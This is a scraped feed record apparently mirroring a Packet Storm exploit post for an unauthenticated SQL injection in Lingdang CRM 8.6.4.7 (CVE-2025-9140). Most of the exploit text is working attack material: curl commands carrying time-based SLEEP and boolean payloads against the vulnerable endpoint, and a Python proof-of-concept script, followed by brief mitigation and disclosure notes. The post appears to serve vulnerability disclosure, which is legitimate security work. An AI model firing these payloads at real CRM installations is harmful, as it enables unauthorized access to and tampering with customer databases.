{“lastseen”:”2025-08-26T16:04:08″,”description”:”Lingdang………………………………………”,”published”:”2025-08-26T00:00:00″,”modified”:”2025-08-26T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Lingdang CRM 8.6.4.7 SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:208845″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-9140″],”sourceData”:”# Exploit Title: Lingdang CRM 8.6.4.7 – SQL Injection\\n # Google Dork: N\/A\\n # Date: 2025-08-19\\n # Exploit Author: Beatriz Fresno Naumova\\n # Vendor: Shanghai Lingdang Information Technology)\\n # Software Link: (N\/A \u2013 commercial product)\\n # Version: \\u003c= 8.6.4.7 (fixed in 8.6.5.x per vendor advisory)\\n # Tested on: Generic LAMP stack, PHP 7\/8 (PoC uses HTTP only; no OS dependency)\\n # CVE : CVE-2025-9140\\n \\n # Summary\\n # The endpoint \/crm\/crmapi\/erp\/tabdetail_moduleSave.php is vulnerable to SQL injection via the\\n # ‘getvaluestring’ parameter. An unauthenticated remote attacker can perform boolean\/time-based\\n # blind SQL injection. Vendor states this was fixed by adopting parameterized queries in v8.6.5+.\\n \\n # Route\\n # \/crm\/crmapi\/erp\/tabdetail_moduleSave.php\\n # Parameter\\n # getvaluestring (GET or POST)\\n \\n # Notes\\n # * This PoC does NOT target a live site. Replace TARGET with a lab host you own.\\n # * Demonstrates time-based blind (SLEEP) and boolean-based payloads.\\n \\n # — Quick PoC with curl (time-based blind) —\\n # Expect ~5s response delay on vulnerable targets.\\n \\n # GET variant:\\n curl -i -k \\”http:\/\/TARGET\/crm\/crmapi\/erp\/tabdetail_moduleSave.php?getvaluestring=’||(SELECT SLEEP(5))–+-\\”\\n \\n # POST variant:\\n curl -i -k -X POST \\”http:\/\/TARGET\/crm\/crmapi\/erp\/tabdetail_moduleSave.php\\” \\\\\\n –data \\”getvaluestring=’||(SELECT SLEEP(5))–+-\\”\\n \\n # — Boolean-based example (response\/body differences may vary by deployment) —\\n curl -s -k \\”http:\/\/TARGET\/crm\/crmapi\/erp\/tabdetail_moduleSave.php?getvaluestring=’ OR 1=1– -\\” -o \/tmp\/true.html\\n curl -s -k \\”http:\/\/TARGET\/crm\/crmapi\/erp\/tabdetail_moduleSave.php?getvaluestring=’ OR 1=2– -\\” -o \/tmp\/false.html\\n # Compare \/tmp\/true.html vs \/tmp\/false.html for observable differences.\\n \\n # — Python 3 PoC (time-based) —\\n # Save as lingdang_sqli_poc.py and run: python3 lingdang_sqli_poc.py http:\/\/TARGET\\n \\n import sys, time, requests\\n \\n def test_time_sqli(base):\\n url_get = f\\”{base.rstrip(‘\/’)}\/crm\/crmapi\/erp\/tabdetail_moduleSave.php\\”\\n payload = \\”‘||(SELECT SLEEP(5))–+-\\”\\n try:\\n t0 = time.time()\\n r = requests.get(url_get, params={\\”getvaluestring\\”: payload}, timeout=30, verify=False)\\n dt = time.time() – t0\\n print(f\\”[+] GET status={r.status_code} elapsed={dt:.2f}s\\”)\\n if dt \\u003e= 5:\\n print(\\”[+] Likely vulnerable to time-based SQLi via GET.\\”)\\n else:\\n print(\\”[-] No significant delay observed via GET.\\”)\\n except Exception as e:\\n print(f\\”[!] GET error: {e}\\”)\\n \\n try:\\n t0 = time.time()\\n r = requests.post(url_get, data={\\”getvaluestring\\”: payload}, timeout=30, verify=False)\\n dt = time.time() – t0\\n print(f\\”[+] POST status={r.status_code} elapsed={dt:.2f}s\\”)\\n if dt \\u003e= 5:\\n print(\\”[+] Likely vulnerable to time-based SQLi via POST.\\”)\\n else:\\n print(\\”[-] No significant delay observed via POST.\\”)\\n except Exception as e:\\n print(f\\”[!] POST error: {e}\\”)\\n \\n if __name__ == \\”__main__\\”:\\n if len(sys.argv) != 2:\\n print(f\\”Usage: {sys.argv[0]} http:\/\/TARGET\\”)\\n sys.exit(1)\\n requests.packages.urllib3.disable_warnings()\\n test_time_sqli(sys.argv[1])\\n \\n # — Impact —\\n # Confidentiality, integrity, availability compromise via SQL injection (CWE-89).\\n \\n # — Mitigations —\\n # 1) Use parameterized queries \/ prepared statements for getvaluestring.\\n # 2) Server-side input validation and allow-listing for the parameter.\\n # 3) Web Application Firewall (WAF) rules to block SQLi patterns on this route.\\n \\n # — Disclosure —\\n # Public identifiers: CVE-2025-9140 (VulDB VDB-320520).\\n # Vendor reportedly fixed in 8.6.5+ with parameterized queries.”,”sourceHref”:”https:\/\/packetstorm.news\/download\/208845″,”cvss”:{“score”:6.5,”severity”:”MEDIUM”,”vector”:”AV:N\/AC:L\/Au:S\/C:P\/I:P\/A:P”,”version”:”2.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:”3.0″,”vectorString”:”CVSS:3.0\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:L\/I:L\/A:L\/E:P\/RL:O\/RC:C”,”baseScore”:6.3,”baseSeverity”:”MEDIUM”,”attackVector”:”NETWORK”,”attackComplexity”:”LOW”,”privilegesRequired”:”LOW”,”userInteraction”:”NONE”,”scope”:”UNCHANGED”,”confidentialityImpact”:”LOW”,”integrityImpact”:”LOW”,”availabilityImpact”:”LOW”}},”href”:”https:\/\/packetstorm.news\/files\/id\/208845\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-08-26T16:04:08″,”description”:”Lingdang………………………………………”,”published”:”2025-08-26T00:00:00″,”modified”:”2025-08-26T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Lingdang CRM 8.6.4.7 SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:208845″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-9140″],”sourceData”:”# Exploit Title: Lingdang CRM 8.6.4.7 – SQL Injection\\n # Google Dork: N\/A\\n # Date: 2025-08-19\\n # Exploit Author: Beatriz…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,26,12,21,13,53,7,11,5],"class_list":["post-14395","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-65","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n